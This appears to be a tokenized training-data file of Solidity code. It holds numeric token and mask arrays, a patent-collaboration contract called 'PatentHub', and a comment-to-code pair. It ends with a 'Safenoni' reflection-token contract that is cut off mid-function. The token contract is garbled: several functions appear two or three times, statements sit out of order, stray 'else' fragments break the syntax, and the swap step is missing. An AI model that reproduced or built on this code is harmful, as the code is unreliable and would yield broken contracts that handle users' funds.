[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2874, 12, 2867, 516, 27534, 1598, 13, 2713, 1910, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.2; import "./Host.sol"; /// the patent hub will be hosted by one of the innovators contract PatentHub is Host { // ***** STRUCTS ***** // contribution phase struct Share { address shareholder; uint percentage; // denoted in values between 0 and 100 bool accepted; // true if the shareholder consented } // patent agent contracting phase struct PatentAgentInventorContract { address patentAgent; string ipfsFileHash; uint payment; mapping(address => bool) inventorsConsent; bool signed; } // patent draft and third party contracting struct Patent { address author; string jurisdiction; string claimsText; string detailedDescriptionText; string backgroundText; string abstractText; string summaryText; string drawingsIpfsFileHash; bool acceptedByPatentOffice; } // contracts between two single parties struct OneToOneContract { address payable proposerAddress; string proposerPersona; // 'drawer', 'nationalizer', 'translator' or 'patent office' address approverAddress; string approverPersona; // 'patentAgent' or 'nationalizer' string ipfsFileHash; uint payment; bool signed; } // ***** CONTRIBUTION PHASE ***** // when a contribution was saved to the blockchain event contributionAddedSuccessfully(address indexed inventor, string ipfsFileHash); // when a shares proposal was submitted event sharesProposalSubmitted(address indexed proposingInventor, address indexed shareHolder, uint percentage); // when a shares proposal is accepted event sharesProposalAccepted(address indexed inventor); // when all shares are accepted event contributionPhaseFinished(); // ***** PATENT AGENT CONTRACTING PHASE ***** // when inventors need to approve a contract event approvePatentAgentContractRequest(address indexed patentAgent, uint payment, string ipfsFileHash); // when one party consented to the linked contract event patentAgentOneInventorContractApproved(address indexed inventor); // when all parties consented to the linked contract event patentAgentInventorsContractApproved(string ipfsFileHash); // ***** PATENT DRAFTING AND 3rd PARTY CONTRACTING PHASE ***** // when the patent draft is updated event patentDraftUpdated(address indexed patentAgent, string jurisdiction, string claimsText, string detailedDescriptionText, string backgroundText, string abstractText, string summaryText, string drawingsIpfsFileHash); // ***** 3rd PARTY TO 3rd PARTY CONTRACTING PHASE ***** // when a third party proposes a contract event approveContractRequest(address indexed proposerAddress, string proposerPersona, address indexed approverAddress, string approverPersona, uint payment, string ipfsFileHash); // when the approving third party consentsface event contractApproved(address indexed proposerAddress, string proposerPersona, address indexed approverAddress, string approverPersona, string ipfsFileHash); // ***** PATENT OFFICE SUBMISSION ***** event feePaid(); event nationalPatentAccepted(string jurisdiction, string claimsText, string detailedDescriptionText, string backgroundText, string abstractText, string summaryText, string drawingsIpfsFileHash); // ***** PROPERTIES ***** // contribution and patent agent contracting phase mapping(address => string[]) contributionFileHashes; Share[] shares; bool shareProposalAcceptedByAll; PatentAgentInventorContract patentAgentInventorsContract; // patent drafting and third party contracting phase Patent patentDraft; OneToOneContract drawerContract; // maps third party to contract address contractedDrawer; OneToOneContract[] nationalizerContracts; address[] contractedNationalizers; mapping(address => Patent) nationalizedPatentProposal; // maps nationalizers to localized patent proposals // patent proposal/submission and third party to third party contracting phase mapping(address => OneToOneContract) translatorContracts; address[] contractedTranslators; mapping(address => address) translatorToNationalizer; // maps translator addresses to nationalizer addresses mapping(address => OneToOneContract) patentOfficeReviews; address[] reviewingPatentOffices; mapping(address => address) patentOfficeToNationalizer; // maps patent office addresses to nationalizer addresses // privacy modifiers modifier onlyContractedPatentAgent() { require(isContractedPatentAgent(msg.sender)); _; } modifier onlyContractedDrawer() { require(msg.sender == contractedDrawer); _; } modifier onlyContractedNationalizer() { require(isContractedNationalizer(msg.sender)); _; } modifier onlyPartiesWithAccessToPatent() { bool hasAccess = false; if (isRegisteredAsInventor(msg.sender)) { hasAccess = true; } else if (isContractedPatentAgent(msg.sender)) { hasAccess = true; } else if (contractedDrawer == msg.sender) { hasAccess = true; } else if (isContractedNationalizer(msg.sender)) { hasAccess = true; } else if (isContractedTranslator(msg.sender)) { hasAccess = true; } require(hasAccess); _; } modifier onlyNationalizedPatentProposalEditors(address nationalizer) { require(msg.sender == nationalizer || translatorToNationalizer[msg.sender] == nationalizer); _; } // constructor constructor() public { host = msg.sender; } // functions - contributions and share proposal function addContribution(string memory ipfsFileHash) public onlyInventor() { contributionFileHashes[msg.sender].push(ipfsFileHash); emit contributionAddedSuccessfully(msg.sender, ipfsFileHash); } function addSharesProposal(address[] memory inventors, uint[] memory percentages) public onlyInventor() { require(inventors.length == percentages.length); // check whether all inventors are included in the shares porposal for (uint i=0; i<allInventors.length; i++) { bool isIncluded = false; for (uint j=0; j<inventors.length; j++) { if (allInventors[i] == inventors[j]) { isIncluded = true; } } require(isIncluded); } // check whether percentages amount to 100 uint sum = 0; for (uint i=0; i<percentages.length; i++) { sum += percentages[i]; } require(sum == 100); // store the shares delete shares; for (uint i=0; i<inventors.length; i++) { Share memory share = Share(inventors[i], percentages[i], false); shares.push(share); emit sharesProposalSubmitted(msg.sender, inventors[i], percentages[i]); } } function approveShare() public onlyInventor() { shareProposalAcceptedByAll = true; for (uint i=0; i<shares.length; i++) { if (shares[i].shareholder == msg.sender) { shares[i].accepted = true; emit sharesProposalAccepted(msg.sender); } shareProposalAcceptedByAll = shareProposalAcceptedByAll && shares[i].accepted; } if (shareProposalAcceptedByAll) { emit contributionPhaseFinished(); } } // functions - contracting phase function uploadInventorsContract(uint payment, string memory ipfsFileHash) public onlyPatentAgent() { require(shareProposalAcceptedByAll); patentAgentInventorsContract.patentAgent = msg.sender; patentAgentInventorsContract.ipfsFileHash = ipfsFileHash; patentAgentInventorsContract.signed = false; patentAgentInventorsContract.payment = payment; emit approvePatentAgentContractRequest(msg.sender, payment, ipfsFileHash); } function approvePatentAgentContract() public onlyInventor() { require(shareProposalAcceptedByAll && patentAgentInventorsContract.signed == false); patentAgentInventorsContract.inventorsConsent[msg.sender] = true; emit patentAgentOneInventorContractApproved(msg.sender); bool allInventorsConsented = true; for (uint i = 0; i < allInventors.length; i++) { allInventorsConsented = allInventorsConsented && patentAgentInventorsContract.inventorsConsent[allInventors[i]]; } if (allInventorsConsented) { patentAgentInventorsContract.signed = true; patentDraft.author = patentAgentInventorsContract.patentAgent; emit patentAgentInventorsContractApproved(patentAgentInventorsContract.ipfsFileHash); } } // functions - patent drafting and third party contracting phase function emitPatentDraftUpdatedEvent() internal { emit patentDraftUpdated(patentDraft.author, patentDraft.jurisdiction, patentDraft.claimsText, patentDraft.detailedDescriptionText, patentDraft.backgroundText, patentDraft.abstractText, patentDraft.summaryText, patentDraft.drawingsIpfsFileHash); } function setDraft(string memory claimsText, string memory detailedDescriptionText, string memory backgroundText, string memory abstractText, string memory summaryText, string memory drawingsIpfsFileHash) public onlyContractedPatentAgent() { patentDraft.claimsText = claimsText; patentDraft.detailedDescriptionText = detailedDescriptionText; patentDraft.backgroundText = backgroundText; patentDraft.abstractText = abstractText; patentDraft.summaryText = summaryText; emitPatentDraftUpdatedEvent(); } function setDrawings(string memory drawingsIpfsFileHash) public onlyContractedDrawer() { patentDraft.drawingsIpfsFileHash = drawingsIpfsFileHash; emitPatentDraftUpdatedEvent(); } function setNationalizedDraft(address nationalizer, string memory jurisdiction, string memory claimsText, string memory detailedDescriptionText, string memory backgroundText, string memory abstractText, string memory summaryText, string memory drawingsIpfsFileHash) public onlyNationalizedPatentProposalEditors(nationalizer) { patentDraft.jurisdiction = jurisdiction; patentDraft.claimsText = claimsText; patentDraft.detailedDescriptionText = detailedDescriptionText; patentDraft.backgroundText = backgroundText; patentDraft.abstractText = abstractText; patentDraft.summaryText = summaryText; emitPatentDraftUpdatedEvent(); } // functions - patent proposal/submission and contracting phase function uploadContract(string memory persona, address approverAddress, string memory approverPersona, uint payment, string memory ipfsFileHash) public { require(isRegisteredForPersona(msg.sender, persona)); require(isRegisteredForPersona(approverAddress, approverPersona)); OneToOneContract memory contr = OneToOneContract(msg.sender, persona, approverAddress, approverPersona, ipfsFileHash, payment, false); if (compareStrings(persona, "drawer")) { drawerContract = contr; } else if (compareStrings(persona, "nationalizer")) { nationalizerContracts.push(contr); } else if (compareStrings(persona, "translator")) { translatorContracts[approverAddress] = contr; } else if (compareStrings(persona, "patentOffice")) { patentOfficeReviews[approverAddress] = contr; } emit approveContractRequest(msg.sender, persona, approverAddress, approverPersona, payment, ipfsFileHash); } function approveContract(address proposerAddress) public { OneToOneContract memory contr; bool nationalizerContractSigned = false; for (uint i = 0; i < nationalizerContracts.length; i++) { if (nationalizerContracts[i].proposerAddress == proposerAddress) { nationalizerContracts[i].signed = true; contractedNationalizers.push(proposerAddress); contr = nationalizerContracts[i]; nationalizerContractSigned = true; } } if (nationalizerContractSigned == false) { if (drawerContract.proposerAddress == proposerAddress) { drawerContract.signed = true; contractedDrawer = proposerAddress; contr = drawerContract; } else if (translatorContracts[msg.sender].proposerAddress == proposerAddress) { translatorContracts[msg.sender].signed = true; contractedTranslators.push(proposerAddress); translatorToNationalizer[proposerAddress] = msg.sender; contr = translatorContracts[msg.sender]; } else if (patentOfficeReviews[msg.sender].proposerAddress == proposerAddress) { patentOfficeReviews[msg.sender].signed = true; reviewingPatentOffices.push(proposerAddress); patentOfficeToNationalizer[proposerAddress] = msg.sender; contr = patentOfficeReviews[msg.sender]; } else { require(false); } } emit contractApproved(proposerAddress, contr.proposerPersona, msg.sender, contr.approverPersona, contr.ipfsFileHash); } // functions - accepting patents and handling payments function payPatentOffice() public payable { // onlyContractedNationalizer() { address payable patentOffice = patentOfficeReviews[msg.sender].proposerAddress; //approveContract(patentOffice); uint amount = patentOfficeReviews[msg.sender].payment; //require(patentOffice.send(amount)); emit feePaid(); } function acceptNationalPatent() public onlyPatentOffice() { Patent memory patent = nationalizedPatentProposal[msg.sender]; address nationalizer = patentOfficeToNationalizer[msg.sender]; nationalizedPatentProposal[nationalizer].acceptedByPatentOffice = true; emit nationalPatentAccepted(patent.jurisdiction, patent.claimsText, patent.detailedDescriptionText, patent.backgroundText, patent.abstractText, patent.summaryText, patent.drawingsIpfsFileHash); } // functions - helper functions specific to patent hub use case function isContractedPatentAgent(address addr) internal view returns(bool) { return patentAgentInventorsContract.signed && addr == patentAgentInventorsContract.patentAgent; } function isContractedNationalizer(address addr) internal view returns(bool) { bool isContained = false; for (uint i = 0; i < contractedNationalizers.length; i++) { if (addr == contractedNationalizers[i]) { isContained = true; } } return isContained; } function isContractedTranslator(address addr) internal view returns(bool) { bool isContained = false; for (uint i = 0; i < contractedTranslators.length; i++) { if (addr == contractedTranslators[i]) { isContained = true; } } return isContained; } function isRegisteredForPersona(address addr, string memory persona) internal view returns(bool) { if (compareStrings(persona, "drawer")) { return isRegisteredAsDrawer(addr); } else if (compareStrings(persona,"nationalizer")) { return isRegisteredAsNationalizer(addr); } else if (compareStrings(persona, "translator")) { return isRegisteredAsTranslator(addr); } else if (compareStrings(persona, "patentOffice")) { return isRegisteredAsPatentOffice(addr); } else if (compareStrings(persona, "patentAgent")) { return isRegisteredAsPatentAgent(addr); } return false; } }
when one party consented to the linked contract
event patentAgentOneInventorContractApproved(address indexed inventor);
12,802,315
[ 1, 13723, 1245, 18285, 28243, 329, 358, 326, 8459, 6835, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 871, 9670, 319, 3630, 3335, 382, 616, 280, 8924, 31639, 12, 2867, 8808, 316, 616, 280, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/4/0x087AA66dd4470D09FbFb200B7f55E278765b7e2F/sources/Safenoni.sol
2%1% event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
contract SafeNebula is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; address private _burnPool = 0x0000000000000000000000000000000000000000; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 10000000000000 * 10**18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _tBurnTotal; string private _name = "Safenoni"; string private _symbol = "SNONI"; uint8 private _decimals = 18; uint256 public _taxFee = 2; uint256 private _previousTaxFee = _taxFee; uint256 public _burnFee = 2; uint256 private _previousBurnFee = _burnFee; uint256 public _liquidityFee = 6; uint256 private _previousLiquidityFee = _liquidityFee; uint256 public _lpRewardFromLiquidity = 1; uint256 public _maxTxAmount = 50000 * 10**18; uint256 public totalLiquidityProviderRewards; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool public BurnLpTokensEnabled = false; uint256 public TotalBurnedLpTokens; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = false; uint256 private minTokensBeforeSwap = 8000; event RewardLiquidityProviders(uint256 tokenAmount); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () public { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function totalBurn() public view returns (uint256) { return _tBurnTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,,) = _getValues(tAmount); return rAmount; (,uint256 rTransferAmount,,,,,) = _getValues(tAmount); return rTransferAmount; } } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,,) = _getValues(tAmount); return rAmount; (,uint256 rTransferAmount,,,,,) = _getValues(tAmount); return rTransferAmount; } } } else { function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function excludeFromReward(address account) public onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= minTokensBeforeSwap; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { uint256 lpRewardAmount = contractTokenBalance.mul(_lpRewardFromLiquidity).div(10**2); _rewardLiquidityProviders(lpRewardAmount); swapAndLiquify(contractTokenBalance.sub(lpRewardAmount)); if(BurnLpTokensEnabled) burnLpTokens(); } if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= minTokensBeforeSwap; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { uint256 lpRewardAmount = contractTokenBalance.mul(_lpRewardFromLiquidity).div(10**2); _rewardLiquidityProviders(lpRewardAmount); swapAndLiquify(contractTokenBalance.sub(lpRewardAmount)); if(BurnLpTokensEnabled) burnLpTokens(); } if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } } bool takeFee = true; function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= minTokensBeforeSwap; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { uint256 lpRewardAmount = contractTokenBalance.mul(_lpRewardFromLiquidity).div(10**2); _rewardLiquidityProviders(lpRewardAmount); swapAndLiquify(contractTokenBalance.sub(lpRewardAmount)); if(BurnLpTokensEnabled) burnLpTokens(); } if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } } _tokenTransfer(from,to,amount,takeFee); function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); uint256 initialBalance = address(this).balance; uint256 newBalance = address(this).balance.sub(initialBalance); addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); address(this), tokenAmount, address(this), block.timestamp ); } uniswapV2Router.addLiquidityETH{value: ethAmount}( function burnLpTokens() private { IUniswapV2Pair _token = IUniswapV2Pair(uniswapV2Pair); uint256 amount = _token.balanceOf(address(this)); TotalBurnedLpTokens = TotalBurnedLpTokens.add(amount); _token.transfer(_burnPool, amount); } function LpTokenBalance() public view returns (uint256) { IUniswapV2Pair token = IUniswapV2Pair(uniswapV2Pair); uint256 amount = token.balanceOf(address(this)); return amount; } function withDrawLpTokens() public onlyOwner { IUniswapV2Pair token = IUniswapV2Pair(uniswapV2Pair); uint256 amount = token.balanceOf(address(this)); require(amount > 0, "Not enough LP tokens available to withdraw"); token.transfer(owner(), amount); } function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); _transferToExcluded(sender, recipient, amount); _transferStandard(sender, recipient, amount); _transferBothExcluded(sender, recipient, amount); _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); _transferToExcluded(sender, recipient, amount); _transferStandard(sender, recipient, amount); _transferBothExcluded(sender, recipient, amount); _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } } else if (!_isExcluded[sender] && _isExcluded[recipient]) { } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { } else if (_isExcluded[sender] && _isExcluded[recipient]) { } else { function _transferStandard(address sender, address recipient, uint256 tAmount) private { uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn, uint256 tLiquidity) = _getValues(tAmount); uint256 rBurn = tBurn.mul(currentRate); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, rBurn, tFee, tBurn); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn, uint256 tLiquidity) = _getValues(tAmount); uint256 rBurn = tBurn.mul(currentRate); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, rBurn, tFee, tBurn); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn, uint256 tLiquidity) = _getValues(tAmount); uint256 rBurn = tBurn.mul(currentRate); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, rBurn, tFee, tBurn); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn, uint256 tLiquidity) = _getValues(tAmount); uint256 rBurn = tBurn.mul(currentRate); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, rBurn, tFee, tBurn); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 